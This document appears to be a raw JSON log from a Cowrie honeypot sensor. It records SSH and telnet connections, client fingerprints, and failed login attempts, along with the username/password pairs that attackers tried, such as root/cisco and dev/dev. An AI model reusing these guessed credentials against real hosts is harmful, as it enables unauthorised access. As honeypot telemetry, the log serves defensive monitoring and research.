{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:27:53.284998Z","src_ip":"14.225.205.58","session":"ea8599e0107f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user02","password":"user021","message":"login attempt [user02/user021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:27:54.429884Z","src_ip":"14.225.205.58","session":"ea8599e0107f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:27:55.710344Z","src_ip":"14.225.205.58","session":"ea8599e0107f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":40180,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff703dbb544d","protocol":"ssh","message":"New connection: 103.129.221.202:40180 (10.17.0.5:22) [session: ff703dbb544d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:12.689695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:12.693479Z","src_ip":"103.129.221.202","session":"ff703dbb544d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:12.947971Z","src_ip":"103.129.221.202","session":"ff703dbb544d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"sftp@123","message":"login attempt [sftp/sftp@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:14.031149Z","src_ip":"103.129.221.202","session":"ff703dbb544d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:15.290225Z","src_ip":"103.129.221.202","session":"ff703dbb544d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":49354,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f7ee0dddb57","protocol":"ssh","message":"New connection: 41.63.62.103:49354 (10.17.0.5:22) [session: 4f7ee0dddb57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:28.549674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:28.554566Z","src_ip":"41.63.62.103","session":"4f7ee0dddb57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:28.817076Z","src_ip":"41.63.62.103","session":"4f7ee0dddb57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:29.912884Z","src_ip":"41.63.62.103","session":"4f7ee0dddb57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:31.178071Z","src_ip":"41.63.62.103","session":"4f7ee0dddb57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":42614,"dst_ip":"10.17.0.5","dst_port":22,"session":"144f92049245","protocol":"ssh","message":"New connection: 14.225.205.58:42614 (10.17.0.5:22) [session: 144f92049245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:51.318112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:51.322582Z","src_ip":"14.225.205.58","session":"144f92049245","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:51.586673Z","src_ip":"14.225.205.58","session":"144f92049245","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"098765","message":"login attempt [ubuntu/098765] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:52.674556Z","src_ip":"14.225.205.58","session":"144f92049245","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":44574,"dst_ip":"10.17.0.5","dst_port":22,"session":"217a511859b6","protocol":"ssh","message":"New connection: 152.32.171.213:44574 (10.17.0.5:22) [session: 217a511859b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:52.919590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:52.925890Z","src_ip":"152.32.171.213","session":"217a511859b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:53.146107Z","src_ip":"152.32.171.213","session":"217a511859b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:53.941044Z","src_ip":"14.225.205.58","session":"144f92049245","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456789","message":"login attempt [amir/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:55.875301Z","src_ip":"152.32.171.213","session":"217a511859b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":53880,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4aeb824d147","protocol":"telnet","message":"New connection: 69.65.3.189:53880 (10.17.0.5:23) [session: d4aeb824d147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:56.145890Z"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:57.097916Z","src_ip":"152.32.171.213","session":"217a511859b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":19425,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc71330235c7","protocol":"ssh","message":"New connection: 193.24.211.95:19425 (159.203.135.109:22) [session: bc71330235c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:59.264139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:59.268272Z","src_ip":"193.24.211.95","session":"bc71330235c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:59.379210Z","src_ip":"193.24.211.95","session":"bc71330235c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cisco","message":"login attempt [root/cisco] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:28:59.809193Z","src_ip":"193.24.211.95","session":"bc71330235c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:29:00.922710Z","src_ip":"193.24.211.95","session":"bc71330235c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.10179805755615,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:29:36.247468Z","src_ip":"69.65.3.189","session":"d4aeb824d147","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":56648,"dst_ip":"10.17.0.5","dst_port":22,"session":"093a2d6f6b95","protocol":"ssh","message":"New connection: 41.63.62.103:56648 (10.17.0.5:22) [session: 093a2d6f6b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:29:38.860911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:29:38.866043Z","src_ip":"41.63.62.103","session":"093a2d6f6b95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:29:39.133370Z","src_ip":"41.63.62.103","session":"093a2d6f6b95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":43052,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a6c073e9cfe","protocol":"ssh","message":"New connection: 201.184.50.251:43052 (10.17.0.5:22) [session: 9a6c073e9cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:29:39.258861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:29:39.263479Z","src_ip":"201.184.50.251","session":"9a6c073e9cfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:29:39.344605Z","src_ip":"201.184.50.251","session":"9a6c073e9cfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"truc","message":"login attempt [test/truc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:29:39.703000Z","src_ip":"201.184.50.251","session":"9a6c073e9cfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testen","password":"testen","message":"login attempt [testen/testen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:29:40.240549Z","src_ip":"41.63.62.103","session":"093a2d6f6b95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:29:40.789080Z","src_ip":"201.184.50.251","session":"9a6c073e9cfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:29:41.510704Z","src_ip":"41.63.62.103","session":"093a2d6f6b95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":39402,"dst_ip":"10.17.0.5","dst_port":22,"session":"6db3d084b759","protocol":"ssh","message":"New connection: 14.225.205.58:39402 (10.17.0.5:22) [session: 6db3d084b759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:29:49.158035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:29:49.163470Z","src_ip":"14.225.205.58","session":"6db3d084b759","protocol":"ssh"}
